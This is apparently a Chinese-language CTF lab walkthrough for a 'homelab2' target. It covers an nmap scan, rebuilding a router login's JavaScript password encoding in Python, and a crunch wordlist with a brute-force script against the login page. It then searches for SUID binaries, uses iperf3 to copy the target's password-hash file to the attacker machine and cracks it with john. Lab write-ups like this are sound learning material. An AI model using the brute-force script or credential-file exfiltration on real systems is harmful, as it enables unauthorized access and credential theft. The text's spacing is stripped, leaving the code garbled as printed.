homelab2靶场学习笔记 正文1、端口扫描2、代码审计3、脚本攻击4、文件下载5、哈希密码破解正文1、端口扫描在kali里使用nmap工具nmap-sV-v-T4-A靶机地址开放了22和80端口。2、代码审计访问页面发现是个路由器要求输入密码。查看忘记密码有提示把网页源码扒过来curlhttp://你的靶机地址/a.txt精准提取文本文件里的JavaScript脚本块读取 a.txt 文件的内容只筛选并显示从 “script ”标签开始、到“ /script”标签结束的所有行cata.txt|sed-n/script.*/,/\/script/p-nsed 的关键参数 → 只显示符合条件的行不加 -n 会默认输出所有行筛选效果失效。/script.*/,/\/script/匹配范围规则/script./ → 匹配包含 script 开头、后面跟任意字符.且以 结尾的行比如 行注意/ 在 sed 里是特殊字符需要加 \ 转义写成 /。pprint 的缩写 → 打印显示符合范围的行。把输出的js代码扔给豆包重构一份python3的脚本通过运行python脚本掌握加密方法题目给了提示编写破解字典pass1.txtcrunch88-t2000%%%%-opass.txt命令含义crunch 最小长度 最大长度-t模板-o输出文件% 数字 0-9^ 大写字母 小写字母 符号3、脚本攻击编写破解密码脚本a.py#!/usr/bin/env python3# -*- coding: utf-8 -*- 脚本功能 1. 复刻JS逻辑实现路由器密码加密 2. 批量验证密码是否正确爆破验证 3. 提供独立的加密函数入口 核心函数说明 - security_encode: 核心加密函数完全复刻JS逻辑 - org_auth_pwd: 路由器密码加密入口函数对外调用接口 - login_and_check: 密码加密后调用登录接口验证是否正确 importsysimportrequestsfromtqdmimporttqdmdefsecurity_encode(plain_pwd:str,key_str:str,char_pool:str)-str: 核心加密函数完全复刻JS逻辑 :param plain_pwd: 明文密码用户输入的密码 :param key_str: 固定密钥字符串 :param char_pool: 固定字符池字符串 :return: 加密后的密码字符串 加密逻辑步骤 1. 初始化结果字符串和固定初始值187 2. 获取明文密码、密钥、字符池的长度 3. 循环次数取明文密码和密钥长度的最大值 4. 每次循环重置初始值为187根据索引位置获取对应ASCII码 - 索引超过明文长度 → 只用密钥字符的ASCII码 - 索引超过密钥长度 → 只用明文字符的ASCII码 - 都没超过 → 同时取明文和密钥的ASCII码 5. 核心运算ASCII码异或 → 对字符池长度取余 → 取对应字符 6. 拼接所有字符得到加密结果 # 初始化结果字符串result# 固定初始值JS代码中写死的 187default_code187# 获取各个字符串长度pwd_lenlen(plain_pwd)key_lenlen(key_str)pool_lenlen(char_pool)# 循环次数 明文密码 和 密钥串 的最大长度JS: Math.max(f,g)max_loopmax(pwd_len,key_len)forindexinrange(max_loop):# 每次循环重置为默认值 187k_codedefault_code l_codedefault_code# 逻辑完全对应JS代码# 1. 如果索引超过明文长度 → 只用密钥字符ifindexpwd_len:l_codeord(key_str[index])# 2. 如果索引超过密钥长度 → 只用明文字符elifindexkey_len:k_codeord(plain_pwd[index])# 3. 都没超过 → 同时取明文和密钥的ASCII码else:k_codeord(plain_pwd[index])l_codeord(key_str[index])# 核心运算异或 ^ → 对字符池长度取余 → 取出对应字符xor_resultk_code^l_code resultchar_pool[xor_result%pool_len]returnresultdeforg_auth_pwd(plain_pwd:str)-str: 路由器密码加密入口函数对外调用接口 :param plain_pwd: 明文路由器登录密码 :return: 加密后可用于登录的密码 固定参数说明 - FIXED_KEY: JS中写死的第二个密钥参数RDpbLfCPsJZ7fiv - FIXED_POOL: JS中写死的第三个字符池参数超长字符串 # 固定密钥1JS中写死的第二个参数FIXED_KEYRDpbLfCPsJZ7fiv# 固定字符池JS中写死的第三个参数FIXED_POOLyLwVl0zKqws7LgKPRQ84Mdt708T1qQ3Ha7xv3H7NyU84p21BriUWBU43odz3iP4rBL3cD02KZciXTysVXiV8ngg6vL48rPJyAUw0HurW20xqxv9aYb4M9wK1Ae0wlro510qXeU07kV57fQMc8L6aLgMLwygtc0F10a0Dg70TOoouyFhdysuRMO51yY5ZlOZZLEal1h0t9YQW0Ko7oBwmCAHoic4HYbUyVeU3sfQ1xtXcPcf1aT303wAQhv66qzW# 调用核心加密函数returnsecurity_encode(plain_pwd,FIXED_KEY,FIXED_POOL)deflogin_and_check(password): 密码验证函数加密密码后调用登录接口验证是否正确 :param password: 明文密码 :return: 验证结果True密码正确False密码错误 验证流程 1. 调用加密函数生成加密密码 2. POST请求登录接口 3. 检查返回内容是否包含Invalid Credentials判断是否登录成功 crtpt_passorg_auth_pwd(password)arequests.post(http://你的靶机地址/l061n.php,data{password:crtpt_pass})ifInvalid Credentialsina.text:returnFalseelse:returnTrue# ------------------- 测试示例 -------------------if__name____main__: 主程序逻辑批量密码验证 1. 打开密码字典文件 pass1.txt忽略编码错误 2. 逐行读取密码并去除首尾空白字符 3. 使用tqdm显示进度条逐个验证密码 4. 找到正确密码后打印并退出程序 备用测试逻辑单行测试 - 输入明文密码 → 生成加密密码 → 打印对比结果 # 批量验证密码字典fopen(pass1.txt,errorsignore)foriintqdm(f):ii.strip()# 去除换行符和空格flaglogin_and_check(i)ifflag:print([]Found:{}.format(i))sys.exit(0)# 找到正确密码后立即退出a.py脚本运行后拿到密码20000255给了一个用户名和密码link:8edb7803e66fb28a982f5be410bf4f29eb0ebaf6ssh登录查看可执行的高权限操作从根目录/开始搜索所有文件只找属主是 root的文件、只找设置了 SUID 权限的文件并且把搜索过程中产生的「权限拒绝」等错误信息重定向到黑洞find/-userroot-perm-40002/dev/null4、文件下载利用ipferf3这个工具传文件kali设置成服务端下载靶场的用户名密码文件靶场设置成客户端发送文件实现把靶场的用户及哈希密码文件下载下来。当然也可以反着来攻击机传文件给靶场靶场作为服务端/usr/bin/iperf3-s-F./a.txtkali作为客户端iperf3-c靶机地址-F./a.txt5、哈希密码破解然后hash撞库john tmp--wordlistxato-net-10-million-passwords.txt拿到root密码